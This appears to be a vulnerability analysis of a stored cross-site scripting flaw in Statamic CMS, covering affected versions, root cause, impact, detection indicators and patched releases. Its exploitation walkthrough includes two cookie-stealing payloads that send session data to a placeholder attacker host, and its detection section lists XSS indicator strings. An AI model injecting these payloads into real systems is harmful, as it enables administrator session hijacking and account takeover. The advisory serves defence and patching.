CVE-2026-27196: 
PHP vulnerability analysis and mitigation

CVE-2026-27196 is a stored cross-site scripting (XSS) vulnerability in Statamic CMS, a Laravel and Git-powered content management system, titled "Privilege Escalation via Stored Cross-Site Scripting." It affects Statamic versions 5.73.8 and below, as well as versions 6.0.0-alpha.1 through 6.3.1. The vulnerability was disclosed on February 18, 2026, by researcher "genneta" via the GitHub Security Advisory GHSA-8r7r-f4gm-wcpq, and was published to the NVD on February 21, 2026. The GitHub Security Advisory assigns a CVSS v3.1 score of 8.1 (High), while the NVD/Feedly data reflects a base score of 4.8 (Medium) — the discrepancy stems from differing confidentiality and integrity impact assessments (Github Advisory, Statamic Security Advisory).

The root cause is improper neutralization of user-controllable input in the HTML fieldtype component of Statamic's publish form (CWE-79). Authenticated users with field management permissions can inject arbitrary JavaScript into the html configuration of an HTML fieldtype, which is then rendered unsanitized in the browser of any higher-privileged user (e.g., an administrator) who views the affected publish form. The fix introduced DOMPurify sanitization via the dompurify library in the HtmlFieldtype.vue component, along with a new sanitize toggle (defaulting to true) in the PHP fieldtype configuration — meaning prior versions rendered raw HTML without any sanitization (Github Advisory, Patch 6.x, Patch 5.x).

Successful exploitation allows injected JavaScript to execute in the browser of a higher-privileged user (such as an administrator) when they view the compromised publish form, enabling session hijacking, credential theft, and unauthorized administrative actions. The scope change in the CVSS vector reflects that the impact crosses from the attacker's security context into the administrator's session context. While availability is unaffected, confidentiality and integrity of the administrator's session and accessible data are at significant risk, potentially enabling full CMS takeover (Statamic Security Advisory).

No public proof-of-concept exploit code has been identified, and there is no evidence of active in-the-wild exploitation as of the time of disclosure (Github Advisory). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.023% (0.000230), placing it in a low probability tier for near-term exploitation. Exploitation requires an authenticated attacker with field management permissions, limiting the attack surface to users who have been granted that specific role.

1. Gain field management access: Obtain or compromise a Statamic account with field management permissions (e.g., a content editor or lower-privileged admin account).
2. Navigate to field configuration: Log into the Statamic control panel and navigate to the Blueprints or Fieldsets configuration section where HTML fieldtypes can be added or edited.
3. Inject malicious payload: Add or edit an HTML fieldtype and insert a malicious JavaScript payload into the HTML configuration field, such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or an image-based XSS vector like <img src=x onerror=fetch('https://attacker.com/?c='+document.cookie)>.
4. Wait for privileged user interaction: Save the field configuration. The payload is now stored persistently in the CMS.
5. Payload executes on admin view: When a higher-privileged user (e.g., a super admin) opens the publish form containing the malicious HTML fieldtype, the injected JavaScript executes in their browser context.
6. Achieve objective: The attacker captures the administrator's session cookie or auth token, enabling session hijacking, account takeover, or further unauthorized actions within the CMS (Statamic Security Advisory, Patch 6.x).

• Logs: Statamic/Laravel access logs showing unusual modifications to Blueprint or Fieldset configurations by lower-privileged accounts; audit log entries for HTML fieldtype edits containing <script>, onerror, javascript:, or other XSS-indicative strings.
• File System: Unexpected or unauthorized changes to Blueprint YAML files (typically stored in resources/blueprints/ or resources/fieldsets/) containing embedded HTML with script tags or event handlers.
• Network: Outbound HTTP requests from administrator browsers to unknown external domains shortly after accessing Statamic publish forms; requests containing encoded cookie or session data in query parameters.
• Application: Presence of JavaScript payloads (e.g., <script>, <img onerror=...>, fetch(...), XMLHttpRequest) within the html configuration field of any HTML fieldtype in Blueprint or Fieldset definitions.

Statamic has released patched versions that resolve this vulnerability: upgrade to 5.73.9 (for the 5.x branch) or 6.3.2 (for the 6.x branch). The fix integrates DOMPurify to sanitize HTML fieldtype content before rendering, with sanitization enabled by default. As an interim measure, restrict field management permissions to only fully trusted users, and consider implementing a Content Security Policy (CSP) header to limit the impact of any XSS execution. There is no documented configuration-only workaround that fully mitigates the vulnerability without upgrading (Github Advisory, Patch 6.x, Patch 5.x).

The vulnerability was published by Statamic maintainer jasonvarga via the GitHub Security Advisory on February 18, 2026, with credit to researcher genneta for discovery. Coverage has been limited to automated vulnerability aggregators and security digest sites such as Vulners, CVEFeed, and Digg's Straylight Sentinel Brief. No significant independent researcher commentary or broader media coverage has been identified beyond standard CVE tracking and aggregation (Github Advisory).